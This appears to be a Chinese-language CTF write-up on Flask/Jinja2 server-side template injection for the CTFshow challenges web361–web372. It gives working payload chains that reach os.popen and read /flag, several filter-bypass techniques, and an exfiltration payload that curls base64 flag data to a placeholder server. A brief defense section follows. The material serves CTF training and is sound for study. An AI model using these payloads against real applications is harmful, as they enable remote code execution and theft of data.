Flask/Jinja2 SSTI通关CTFshow-WEB入门系列:从web361到web372的实战笔记与绕过技巧
Flask/Jinja2 SSTI漏洞实战从基础到高阶的CTF通关指南在CTF竞赛的Web安全赛题中模板注入漏洞SSTI一直是高频考点。本文将带您深入剖析Flask/Jinja2框架下的SSTI漏洞利用技巧通过模拟CTFshow平台WEB入门系列web361-web372的真实解题环境系统性地拆解从基础到高阶的12种不同过滤场景下的绕过方法。1. SSTI漏洞基础原理与利用链模板注入漏洞的本质在于用户输入被直接拼接进模板引擎的解析流程。在Flask/Jinja2环境下攻击者可以通过构造特殊的对象属性链来访问危险函数或敏感数据。以下是核心魔术方法的作用.__class__ # 获取字符串对象的类 .__base__ # 获取类的直接基类 .__mro__ # 获取方法解析顺序(MRO)元组 .__subclasses__() # 获取所有子类列表 .__globals__ # 获取函数所在的全局命名空间 .__builtins__ # 获取内置函数集合典型利用链示例{{ .__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[popen](id).read() }}这个链式调用会获取空字符串的类str通过__mro__找到object基类枚举object的所有子类定位到包含os模块的wrapper类通过__globals__访问系统命令执行函数2. 基础绕过技巧与实战案例2.1 常规SSTI利用web361当题目没有任何过滤时可以直接使用完整利用链?name{{.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[popen](cat /flag).read()}}关键点通过__class__获取类对象__mro__[1]定位到object基类在子类列表中查找os._wrap_close类通常索引132通过__globals__访问os模块2.2 内置函数调用web362当直接访问os模块被拦截时可以通过__builtins__间接调用?name{{url_for.__globals__[__builtins__][eval](__import__(os).popen(cat /flag).read())}}替代方案?name{{x.__init__.__globals__[__builtins__]}} # x为任意字母组合3. 中阶过滤绕过技术3.1 引号与中括号过滤web363-365当单双引号和中括号被过滤时可采用以下方法方法一request对象属性?aosbpopenccat /flagname{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}方法二字符串拼接?name{% set chrurl_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)]}}方法三过滤器拼接?name{{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}3.2 下划线过滤web366当下划线被过滤时使用attr过滤器?name{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} Cookie: a__globals__; bcat /flag4. 高阶绕过与无数字利用4.1 无数字字符构造web370当数字被过滤时可通过字典长度生成数字{% set one(dict(cz)|join|length) %} {% set two(dict(ccz)|join|length) %} {% set twentyfour(dict(ccccccccccccccccccccccccz)|join|length) %}完整利用链{% set xhx(()|select|string|list).pop(twentyfour) %} {% set globals(xhx,xhx,dict(globalsz)|join,xhx,xhx)|join %} {% print (lipsum|attr(globals)).get(__builtins__).open(/flag).read() %}4.2 全角数字绕过web372当半角数字被过滤时可使用全角字符{% set (dict(cccccccz)|join|length) %} {% set (dict(ccz)|join|length) %} {% set (dict(ccccz)|join|length) %}5. 无回显场景下的利用当无法直接输出结果时可采用外带技术DNS外带{% set cmdcurl http://your-server/?flagcat /flag|base64 %} {{.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[popen](cmd).read()}}延时盲注{% if lipsum.__globals__.os.popen(grep ^a /flag).read() %} {{.__class__}} {% endif %}6. 防御方案与最佳实践对于开发者而言防范SSTI漏洞的关键措施包括输入过滤禁止用户输入包含_、[、{等特殊字符使用正则表达式过滤危险关键字模板渲染安全# 安全渲染方式 template jinja2.Template(Hello {{ name }}, autoescapeTrue, undefinedjinja2.StrictUndefined)沙箱环境使用受限的Jinja2沙箱环境禁用危险函数和属性访问内容安全策略设置严格的CSP头启用模板自动转义在实际CTF比赛中SSTI题目的演变趋势正朝着更复杂的过滤规则发展。掌握基础原理后需要灵活组合各种绕过技术同时保持对框架特性的持续学习。建议搭建本地测试环境通过修改过滤规则来验证不同场景下的绕过方案。